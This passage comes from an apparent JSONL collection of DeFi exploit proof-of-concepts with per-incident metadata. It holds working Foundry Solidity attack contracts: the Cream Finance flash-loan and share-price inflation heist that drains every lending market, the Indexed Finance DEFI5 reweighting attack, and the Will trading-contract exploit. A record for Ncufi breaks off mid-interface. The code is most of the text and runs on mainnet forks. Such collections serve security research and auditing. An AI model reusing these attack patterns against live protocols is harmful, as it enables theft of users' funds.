yDAI.deposit(DAI.balanceOf(address(this)));\n // console.log(\"The yDAI amount in contract: \", yDAI.balanceOf(address(this)) / 1e18);\n\n // console.log(\"[3. deposit yDAI to Yearn 4-Curve Pool get yUSD]\");\n // yDAI.approve(address(curveDepositor), type(uint).max);\n uint256[4] memory amounts = [DAI.balanceOf(address(this)), 0, 0, 0];\n ICurveDepositor(curveDepositor).add_liquidity(amounts, 1);\n // console.log(\"The yDAI_yUSDC_yUSDT_yTUSD Token amount: \", yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)) / 1e18);\n\n console.log(\"[4. deposit yDAI_yUSDC_yUSDT_yTUSD to get yUSD]\");\n yDAI_yUSDC_yUSDT_yTUSD.approve(yUSD, type(uint256).max);\n IYearnVault(yUSD).deposit(yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));\n // console.log(\"The yUSD amount: \", IERC20(yUSD).balanceOf(address(this)) / 1e18);\n\n console.log(\"[5. use yUSD to mint crYUSD, the first contract collateral in Cream.Finance]\");\n IERC20(yUSD).approve(crYUSD, type(uint256).max);\n ICrToken(crYUSD).mint(IERC20(yUSD).balanceOf(address(this)));\n console.log(\"The crYUSD amount in first contract: \", IERC20(crYUSD).balanceOf(address(this)) / 1e8);\n\n console.log(\"[6. Cream.Finance crYUSD enterMarket]\");\n address[] memory markets = new address[](1);\n markets[0] = crYUSD;\n comptroller.enterMarkets(markets);\n console.log(\"------------Jump second Contract------------\");\n secondContract.call(abi.encodeWithSignature(\"justDoIt(address)\", address(this)));\n\n console.log(\"[16. Repay DAI FlashLoan]\");\n amounts[0] = 445_331_495_265_152_128_661_273_376;\n curveDepositors.remove_liquidity_imbalance(amounts, yDAI_yUSDC_yUSDT_yTUSD.balanceOf(address(this)));\n yDAI.withdraw(yDAI.balanceOf(address(this)));\n USDCToDAI();\n // console.log(\"The DAI amount: \", DAI.balanceOf(address(this)) /1e18);\n DAI.approve(address(DaiFlash), type(uint256).max);\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n\n function doIt() external {\n console.log(\"[12. WETH->USDC->DUSD->YUSD]\");\n WETHToUSDC();\n USDC.approve(DUSDPOOL, type(uint256).max);\n IcurveYSwap(DUSDPOOL).exchange_underlying(2, 0, 3_726_501_383_126, 0);\n DUSD.approve(PeakProxy, type(uint256).max);\n YVaultPeakProxy(PeakProxy).redeemInYusd(DUSD.balanceOf(address(this)), 0);\n console.log(\"The yUSD amount in first contract: \", IERC20(yUSD).balanceOf(address(this)) / 1e18);\n\n console.log(\"------------Inflation------------\");\n console.log(\"[13. Pump the pricePerShare]\");\n console.log(\"pricepershare start : \", IYearnVault(yUSD).pricePerShare() / 1e18);\n IYearnVault(yUSD).withdraw(IERC20(yUSD).balanceOf(address(this)));\n // withdraw yUSD to yDAI_yUSDC_yUSDT_yTUSD\n yDAI_yUSDC_yUSDT_yTUSD.transfer(yUSD, IYearnVault(yUSD).totalAssets());\n console.log(\"pricepershare end : \", IYearnVault(yUSD).pricePerShare() / 1e18);\n\n console.log(\"------------HeistAndRepay------------\");\n console.log(\"[14. borrow token from Cream.Finance]\");\n borrowAll();\n address(WETH).call{value: 523_208 ether}(\"\");\n WETH.transfer(secondContract, 524_574 * 1e18);\n }\n\n function WETHToUSDC() internal {\n WETH.approve(address(Router), type(uint256).max);\n Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(WETH),\n tokenOut: address(USDC),\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 7_500_000 * 1e6,\n amountInMaximum: 5000 * 1e18,\n sqrtPriceLimitX96: 0\n });\n Router.exactOutputSingle(_Params);\n }\n\n function USDCToDAI() internal {\n USDC.approve(address(Router), type(uint256).max);\n Uni_Router_V3.ExactOutputSingleParams memory _Params = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(DAI),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 6_356_555 * 1e18,\n amountInMaximum: 6_451_883 * 1e18,\n sqrtPriceLimitX96: 0\n });\n Router.exactOutputSingle(_Params);\n }\n\n function borrowAll() internal {\n borrowAllETH();\n borrowTokens(crDAI);\n borrowTokens(crUSDC);\n borrowTokens(crUSDT);\n borrowTokens(crFEI);\n borrowTokens(crCRETH2);\n borrowTokens(crFTT);\n borrowTokens(crPERP);\n borrowTokens(crRUNE);\n borrowTokens(crDPI);\n borrowTokens(crUNI);\n borrowTokens(crGNO);\n borrowTokens(crXSUSHI);\n borrowTokens(crSTETH);\n borrowTokens(crYGG);\n }\n\n function borrowAllETH() internal {\n ICether(crETH).borrow(523_208 * 1e18);\n }\n\n function borrowTokens(\n address token\n ) internal {\n ICrToken(token).borrow(ICrToken(token).getCash());\n }\n\n function withdrawUnderlying(\n address token\n ) public returns (uint256 amount) {\n address underlying = ICrToken(token).underlying();\n amount = IERC20(underlying).balanceOf(address(this));\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Cream_2", "date": "2021-10", "file_name": "Cream_2_exp.sol", "attack_vector": "flash_loan", "content_hash": "da1e7ade50666655", "collected_at": "2026-01-07T10:59:16.520456", "_source": "postmortems", "chain": "ethereum", "block_number": 13499797, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n SecondContract exploitContract = new SecondContract();\n secondContract = address(exploitContract);\n console.log(\"[1. Beigin]\");\n console.log(\"------------Acquire Capital------------\");\n console.log(\"[2. MakerDao FlashLoan 500_000_000 DAI]\");\n DaiFlash.flashLoan(address(this), address(DAI), 500_000_000 * 1e18, \"\");\n\n console.log(\"[17. End]\");\n console.log(\"------------Proift------------\");\n console.log(\"Attacker WETH balance after exploit: \", WETH.balanceOf(address(this)) / 1e18);\n console.log(\"Attacker crDAI balance after exploit: \", withdrawUnderlying(crDAI) / 1e18);\n console.log(\"Attacker crUSDT balance after exploit: \", withdrawUnderlying(crUSDT) / 1e6);\n console.log(\"Attacker crUSDC balance after exploit: \", withdrawUnderlying(crUSDC) / 1e6);\n console.log(\"Attacker crETH balance after exploit: \", withdrawUnderlying(crCRETH2) / 1e18);\n console.log(\"Attacker crCRETH2 balance after exploit: \", withdrawUnderlying(crDAI) / 1e18);\n console.log(\"Attacker crFEI balance after exploit: \", withdrawUnderlying(crFEI) / 1e18);\n console.log(\"Attacker crFTT balance after exploit: \", withdrawUnderlying(crFTT) / 1e18);\n console.log(\"Attacker crPERP balance after exploit: \", withdrawUnderlying(crPERP) / 1e18);\n console.log(\"Attacker crRUNE balance after exploit: \", withdrawUnderlying(crRUNE) / 1e18);\n console.log(\"Attacker crDPI balance after exploit: \", withdrawUnderlying(crDPI) / 1e18);\n console.log(\"Attacker crUNI balance after exploit: \", withdrawUnderlying(crUNI) / 1e18);\n console.log(\"Attacker crGNO balance after exploit: \", withdrawUnderlying(crGNO) / 1e18);\n console.log(\"Attacker crXSUSHI balance after exploit: \", withdrawUnderlying(crXSUSHI) / 1e18);\n console.log(\"Attacker crSTETH balance after exploit: \", withdrawUnderlying(crSTETH) / 1e18);\n console.log(\"Attacker crYGG balance after exploit: \", withdrawUnderlying(crYGG) / 1e18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Cream_2 Exploit (2021-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\n\n// @author: https://github.com/Crypto-Virus/indexed-finance-exploit-example/blob/master/contracts/IndexedAttack.sol\n\n// @Analyses:\n// https://blocksecteam.medium.com/the-analysis-of-indexed-finance-security-incident-8a62b9799836\n// https://twitter.com/Mudit__Gupta/status/1448884940964188167\n\n// Attack tx: https://etherscan.io/tx/0x44aad3b853866468161735496a5d9cc961ce5aa872924c5d78673076b1cd95aa\n\ninterface IUniswapV2Callee {\n function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ncontract BNum {\n uint256 internal constant BONE = 10 ** 18;\n\n // Maximum ratio of input tokens to balance for swaps.\n uint256 internal constant MAX_IN_RATIO = BONE / 2;\n\n function bmul(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c0 = a * b;\n require(a == 0 || c0 / a == b, \"ERR_MUL_OVERFLOW\");\n uint256 c1 = c0 + (BONE / 2);\n require(c1 >= c0, \"ERR_MUL_OVERFLOW\");\n uint256 c2 = c1 / BONE;\n return c2;\n }\n}\n\ncontract IndexedAttack is BNum, IUniswapV2Callee, Test {\n address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address private constant UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;\n address private constant AAVE = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;\n address private constant COMP = 0xc00e94Cb662C3520282E6f5717214004A7f26888;\n address private constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;\n address private constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;\n address private constant SNX = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;\n address private constant SUSHI = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;\n address private constant UNISWAP_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address private constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address private constant SUSHI_FACTORY = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n address private constant SUSHI_ROUTER = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F;\n\n address private constant CONTROLLER = 0xF00A38376C8668fC1f3Cd3dAeef42E0E44A7Fcdb;\n address private constant DEFI5 = 0xfa6de2697D59E88Ed7Fc4dFE5A33daC43565ea41;\n\n uint256 count;\n bool attackBegan;\n address[] public borrowedTokens;\n uint256[] public borrowedAmounts;\n address[] public factories;\n address[] pairs;\n uint256[] public repayAmounts;\n uint256 private constant borrowedSushiAmount = 220_000 * 1e18;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 13_417_948);\n }\n\n function testHack() public {\n address[] memory tokensBorrow = new address[](6);\n tokensBorrow[0] = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;\n tokensBorrow[1] = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;\n tokensBorrow[2] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;\n tokensBorrow[3] = 0xD533a949740bb3306d119CC777fa900bA034cd52;\n tokensBorrow[4] = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;\n tokensBorrow[5] = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;\n\n uint256[] memory amounts = new uint256[](6);\n amounts[0] = 2_000_000 * 1e18;\n amounts[1] = 200_000 * 1e18;\n amounts[2] = 41_000 * 1e18;\n amounts[3] = 3_211_000 * 1e18;\n amounts[4] = 5800 * 1e18;\n amounts[5] = 453_700 * 1e18;\n\n address[] memory factories_ = new address[](6);\n factories_[0] = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n factories_[1] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[2] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[3] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[4] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[5] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n\n start(tokensBorrow, amounts, factories_);\n }\n\n function start(address[] memory _tokensBorrow, uint256[] memory _amounts, address[] memory _factories) internal {\n require(_tokensBorrow.length == _amounts.length && _factories.length == _amounts.length, \"Invalid inputs\");\n count = 0;\n attackBegan = false;\n borrowedTokens = _tokensBorrow;\n borrowedAmounts = _amounts;\n factories = _factories;\n\n getLoan();\n\n console.log(\"\\nAttacker's final profits:\");\n console.log(\"WETH %s\", IERC20(WETH).balanceOf(address(this)) / 1e18);\n console.log(\"UNI %s\", IERC20(UNI).balanceOf(address(this)) / 1e18);\n console.log(\"AAVE %s\", IERC20(AAVE).balanceOf(address(this)) / 1e18);\n console.log(\"COMP %s\", IERC20(COMP).balanceOf(address(this)) / 1e18);\n console.log(\"CRV %s\", IERC20(CRV).balanceOf(address(this)) / 1e18);\n console.log(\"MKR %s\", IERC20(MKR).balanceOf(address(this)) / 1e18);\n console.log(\"SNX %s\", IERC20(SNX).balanceOf(address(this)) / 1e18);\n console.log(\"SUSHI %s\", IERC20(SUSHI).balanceOf(address(this)) / 1e18);\n }\n\n function getLoan() internal {\n address _tokenBorrow = borrowedTokens[count];\n uint256 _amount = borrowedAmounts[count];\n address factoryAddr = factories[count];\n\n address pair = IUniswapV2Factory(factoryAddr).getPair(_tokenBorrow, WETH);\n require(pair != address(0), \"!pair\");\n\n address token0 = IUniswapV2Pair(pair).token0();\n address token1 = IUniswapV2Pair(pair).token1();\n uint256 amount0Out = _tokenBorrow == token0 ? _amount : 0;\n uint256 amount1Out = _tokenBorrow == token1 ? _amount : 0;\n\n // need to pass some data to trigger uniswapV2Call\n bytes memory data = abi.encode(_tokenBorrow, _amount, factoryAddr);\n IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);\n }\n\n function uniswapV2Call(\n address _sender,\n uint256 _amount0,\n uint256 _amount1,\n bytes calldata _data\n ) external override {\n require(_sender == address(this), \"!sender\");\n\n (address tokenBorrow, uint256 amount, address factoryAddr) = abi.decode(_data, (address, uint256, address));\n address token0 = IUniswapV2Pair(msg.sender).token0();\n address token1 = IUniswapV2Pair(msg.sender).token1();\n address pair = IUniswapV2Factory(factoryAddr).getPair(token0, token1);\n require(msg.sender == pair, \"!pair\");\n\n // about 0.3%\n uint256 fee = ((amount * 3) / 997) + 1;\n uint256 repayAmount = amount + fee;\n\n if (!attackBegan) {\n pairs.push(pair);\n repayAmounts.push(repayAmount);\n count++;\n if (count == borrowedAmounts.length) {\n attackBegan = true;\n attack();\n repayLoans();\n } else {\n getLoan();\n }\n } else {\n continueAttack();\n repaySushiLoan(pair, repayAmount);\n }\n }\n\n function attack() internal {\n console.log(\"Performing attack\");\n\n IMarketCapSqrtController controller = IMarketCapSqrtController(CONTROLLER);\n IIndexPool indexPool = IIndexPool(DEFI5);\n controller.reindexPool(DEFI5);\n\n IERC20(UNI).approve(DEFI5, type(uint256).max);\n IERC20(AAVE).approve(DEFI5, type(uint256).max);\n IERC20(COMP).approve(DEFI5, type(uint256).max);\n IERC20(CRV).approve(DEFI5, type(uint256).max);\n IERC20(MKR).approve(DEFI5, type(uint256).max);\n IERC20(SNX).approve(DEFI5, type(uint256).max);\n IERC20(SUSHI).approve(DEFI5, type(uint256).max);\n\n // uint totalDenormWeight = indexPool.getTotalDenormalizedWeight();\n // console.log(\"Total denormalized weight: %s\", totalDenormWeight / 1e18);\n\n (address tokenOut, uint256 value) = indexPool.extrapolatePoolValueFromToken();\n console.log(\"Extrapolated pool value from token: [%s, %s]\", tokenOut, value / 1e18);\n\n uint256 tokenOutBalance = indexPool.getBalance(tokenOut);\n console.log(\"Initial Token balance: %s\", tokenOutBalance / 1e18);\n\n for (uint256 i = 0; i < borrowedTokens.length; i++) {\n address tokenIn = borrowedTokens[i];\n if (tokenIn == tokenOut) {\n continue;\n }\n uint256 amountInRemain = borrowedAmounts[i];\n while (amountInRemain > 0) {\n uint256 amountIn = bmul(indexPool.getBalance(tokenIn), MAX_IN_RATIO);\n amountIn = amountInRemain < amountIn ? amountInRemain : amountIn;\n amountInRemain -= amountIn;\n console.log(\"Swapping %s of [%s] for [%s]\", amountIn / 1e18, tokenIn, tokenOut);\n indexPool.swapExactAmountIn(tokenIn, amountIn, tokenOut, 0, type(uint256).max);\n }\n console.log(\"tokenOut balance: %s\", indexPool.getBalance(tokenOut) / 1e18);\n }\n\n controller.updateMinimumBalance(indexPool, SUSHI);\n\n uint256 amountOutRemain = IERC20(tokenOut).balanceOf(address(this));\n while (amountOutRemain > 0) {\n uint256 amountOut = bmul(indexPool.getBalance(tokenOut), MAX_IN_RATIO);\n amountOut = amountOutRemain < amountOut ? amountOutRemain : amountOut;\n amountOutRemain -= amountOut;\n console.log(\"Minting DEFI5 tokens using %s [%s] tokens\", amountOut / 1e18, tokenOut);\n indexPool.joinswapExternAmountIn(tokenOut, amountOut, 0);\n }\n\n getSushiLoan();\n }\n\n function getSushiLoan() internal {\n console.log(\"Requesting sushi loan\");\n address pair = IUniswapV2Factory(SUSHI_FACTORY).getPair(SUSHI, WETH);\n require(pair != address(0), \"!pair\");\n\n address token0 = IUniswapV2Pair(pair).token0();\n address token1 = IUniswapV2Pair(pair).token1();\n uint256 amount0Out = SUSHI == token0 ? borrowedSushiAmount : 0;\n uint256 amount1Out = SUSHI == token1 ? borrowedSushiAmount : 0;\n\n console.log(\"borrowing this much sushi\", borrowedSushiAmount / 1e18);\n bytes memory data = abi.encode(SUSHI, borrowedSushiAmount, SUSHI_FACTORY);\n IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);\n }\n\n function continueAttack() internal {\n console.log(\"Continuing attacking\");\n IERC20(SUSHI).transfer(DEFI5, borrowedSushiAmount);\n IIndexPool indexPool = IIndexPool(DEFI5);\n indexPool.gulp(SUSHI);\n\n uint256[] memory minAmountOut = new uint256[](7);\n for (uint256 i = 0; i < 7; i++) {\n minAmountOut[i] = 0;\n }\n uint256 defi5Balance = IERC20(DEFI5).balanceOf(address(this));\n console.log(\"Burning %s DEFI5 tokens\", defi5Balance / 1e18);\n indexPool.exitPool(defi5Balance, minAmountOut);\n printBalances();\n\n for (uint256 i = 0; i < 2; i++) {\n uint256 sushiRemain = IERC20(SUSHI).balanceOf(address(this));\n while (sushiRemain > 0) {\n uint256 amountIn = bmul(indexPool.getBalance(SUSHI), MAX_IN_RATIO);\n amountIn = sushiRemain < amountIn ? sushiRemain : amountIn;\n sushiRemain -= amountIn;\n console.log(\"Minting DEFI5 tokens using %s [%s] tokens\", amountIn / 1e18, SUSHI);\n indexPool.joinswapExternAmountIn(SUSHI, amountIn, 0);\n }\n uint256 defi5Balance = IERC20(DEFI5).balanceOf(address(this));\n console.log(\"Burning %s DEFI5 tokens\", defi5Balance / 1e18);\n indexPool.exitPool(defi5Balance, minAmountOut);\n printBalances();\n }\n }\n\n function repaySushiLoan(address pair, uint256 repayAmount) internal {\n // swap some MKR to WETH to cover repayment\n address[] memory path = new address[](2);\n path[0] = MKR;\n path[1] = WETH;\n IERC20(MKR).approve(UNISWAP_ROUTER, type(uint256).max);\n IUniswapV2Router01(UNISWAP_ROUTER).swapTokensForExactTokens(\n 115 * 1e18, type(uint256).max, path, address(this), type(uint256).max\n );\n IERC20(SUSHI).transfer(pair, IERC20(SUSHI).balanceOf(address(this)));\n IERC20(WETH).transfer(pair, 115 * 1e18); // estimated 115 based on trial and error\n }\n\n function repayLoans() internal {\n console.log(\"Repaying loans\");\n for (uint256 i = 0; i < borrowedAmounts.length; i++) {\n address token = borrowedTokens[i];\n uint256 amount = borrowedAmounts[i];\n address pair = pairs[i];\n uint256 repayAmount = repayAmounts[i];\n\n IERC20(token).transfer(pair, repayAmount);\n }\n }\n\n function printBalances() internal {\n console.log(\"\\nContract balances are:\");\n console.log(\"WETH %s\", IERC20(WETH).balanceOf(address(this)) / 1e18);\n console.log(\"UNI %s\", IERC20(UNI).balanceOf(address(this)) / 1e18);\n console.log(\"AAVE %s\", IERC20(AAVE).balanceOf(address(this)) / 1e18);\n console.log(\"COMP %s\", IERC20(COMP).balanceOf(address(this)) / 1e18);\n console.log(\"CRV %s\", IERC20(CRV).balanceOf(address(this)) / 1e18);\n console.log(\"MKR %s\", IERC20(MKR).balanceOf(address(this)) / 1e18);\n console.log(\"SNX %s\", IERC20(SNX).balanceOf(address(this)) / 1e18);\n console.log(\"SUSHI %s\", IERC20(SUSHI).balanceOf(address(this)) / 1e18);\n }\n}\n\n/* -------------------- Interface -------------------- */\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ninterface IIndexPool {\n function joinswapExternAmountIn(\n address tokenIn,\n uint256 tokenAmountIn,\n uint256 minPoolAmountOut\n ) external returns (uint256); /* poolAmountOut */\n\n function exitPool(uint256 poolAmountIn, uint256[] calldata minAmountsOut) external;\n\n function gulp(\n address token\n ) external;\n\n function swapExactAmountIn(\n address tokenIn,\n uint256 tokenAmountIn,\n address tokenOut,\n uint256 minAmountOut,\n uint256 maxPrice\n ) external returns (uint256, /* tokenAmountOut */ uint256); /* spotPriceAfter */\n\n function extrapolatePoolValueFromToken() external view returns (address, /* token */ uint256); /* extrapolatedValue */\n\n function getTotalDenormalizedWeight() external view returns (uint256);\n\n function getBalance(\n address token\n ) external view returns (uint256);\n}\n\ninterface IMarketCapSqrtController {\n function updateMinimumBalance(IIndexPool pool, address tokenAddress) external;\n function reindexPool(\n address poolAddress\n ) external;\n}\n\ninterface IUniswapV2Pair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n function token0() external view returns (address);\n function token1() external view returns (address);\n}\n\ninterface IUniswapV2Factory {\n function getPair(address tokenA, address tokenB) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function swapTokensForExactTokens(\n uint256 amountOut,\n uint256 amountInMax,\n address[] memory path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}\n", "type": "exploit_poc", "protocol": "IndexedFinance", "date": "2021-10", "file_name": "IndexedFinance_exp.sol", "attack_vector": null, "content_hash": "fbdba71c735293fe", "collected_at": "2026-01-07T10:59:16.520594", "_source": "postmortems", "chain": "ethereum", "block_number": 13417948, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x44aad3b853866468161735496a5d9cc961ce5aa872924c5d78673076b1cd95aa", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testHack() public {\n address[] memory tokensBorrow = new address[](6);\n tokensBorrow[0] = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;\n tokensBorrow[1] = 0x7Fc66500c84A76Ad7e9c93437bFc5Ac33E2DDaE9;\n tokensBorrow[2] = 0xc00e94Cb662C3520282E6f5717214004A7f26888;\n tokensBorrow[3] = 0xD533a949740bb3306d119CC777fa900bA034cd52;\n tokensBorrow[4] = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2;\n tokensBorrow[5] = 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F;\n\n uint256[] memory amounts = new uint256[](6);\n amounts[0] = 2_000_000 * 1e18;\n amounts[1] = 200_000 * 1e18;\n amounts[2] = 41_000 * 1e18;\n amounts[3] = 3_211_000 * 1e18;\n amounts[4] = 5800 * 1e18;\n amounts[5] = 453_700 * 1e18;\n\n address[] memory factories_ = new address[](6);\n factories_[0] = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n factories_[1] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[2] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[3] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[4] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n factories_[5] = 0xC0AEe478e3658e2610c5F7A4A2E1777cE9e4f2Ac;\n\n start(tokensBorrow, amounts, factories_);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "IndexedFinance Exploit (2021-10)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Profit : ~52777 USD\n// Attacker: https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e\n// Attack Contract: https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code\n// Actually there are 2 steps\n// TX1 : https://app.blocksec.com/explorer/tx/bsc/0xc12ccc3bdaf3f0ec1efa09d089a0c1dbad05519e1eb0fa6475ffcc6317cbde4d\n// TX2 :https://app.blocksec.com/explorer/tx/bsc/0xefe58a14fc0022872262678b358aaae64a26fe2389d09093eb14752ea99415e9\n\n \n\ninterface Trading {\n function placeSellOrder(uint256 usdtAmount, uint256 margin, uint256 minUsdtReceived) external;\n function updateExpiredOrders() external;\n function settleExpiredPositions(\n uint256 minTokensToReceive\n ) external;\n}\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IERC20 will = IERC20(0xe38593e7F4f2411E0C0aB74589A7209681ab4B1d);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n Trading trading = Trading(0x566777eD780dbbe17c130AE97b9FbC0A3Ab829DF);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 39_979_796);\n deal(address(USDT), address(this), 180_000 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n USDT.approve(address(trading), type(uint256).max);\n trading.placeSellOrder(71_000 ether, 0, 0);\n swap_token_to_token(address(USDT), address(will), 88_000 ether);\n /////step---2\n vm.warp(block.timestamp + 20);\n trading.updateExpiredOrders();\n trading.settleExpiredPositions(0);\n uint256 willamount = will.balanceOf(address(this));\n swap_token_to_token(address(will), address(USDT), willamount);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "Will", "date": "2024-06", "file_name": "Will_exp.sol", "attack_vector": null, "content_hash": "47dcd1845ea7a360", "collected_at": "2026-01-07T10:59:16.520691", "_source": "postmortems", "chain": "bsc", "block_number": 39979796, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e", "attack_contract": "https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function attack() public {\n USDT.approve(address(trading), type(uint256).max);\n trading.placeSellOrder(71_000 ether, 0, 0);\n swap_token_to_token(address(USDT), address(will), 88_000 ether);\n /////step---2\n vm.warp(block.timestamp + 20);\n trading.updateExpiredOrders();\n trading.settleExpiredPositions(0);\n uint256 willamount = will.balanceOf(address(this));\n swap_token_to_token(address(will), address(USDT), willamount);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e", "keyinfo_attack_contract": "https://bscscan.com/address/0x63b4de190c35f900bb7adf1a13d66fb1f0d624a1#code", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.32, "quality_estimate": "low", "title": "Will Exploit (2024-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~59643 USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x556419e0a6ee8e6de6b3679605f9f62ad013007419a1b55c9f56590a824bfb52\n// Attacker : https://bscscan.com/address/0xb6911dee6a5b1c65ad1ac11a99aec09c2cf83c0e\n// Attack Contract : https://bscscan.com/address/0x4237d006471b38af0e1691c00d96193a8ff5709f\n \n\ninterface INcufi {\n struct order {\n uint256 id;\n uint256 amount;\n uint256 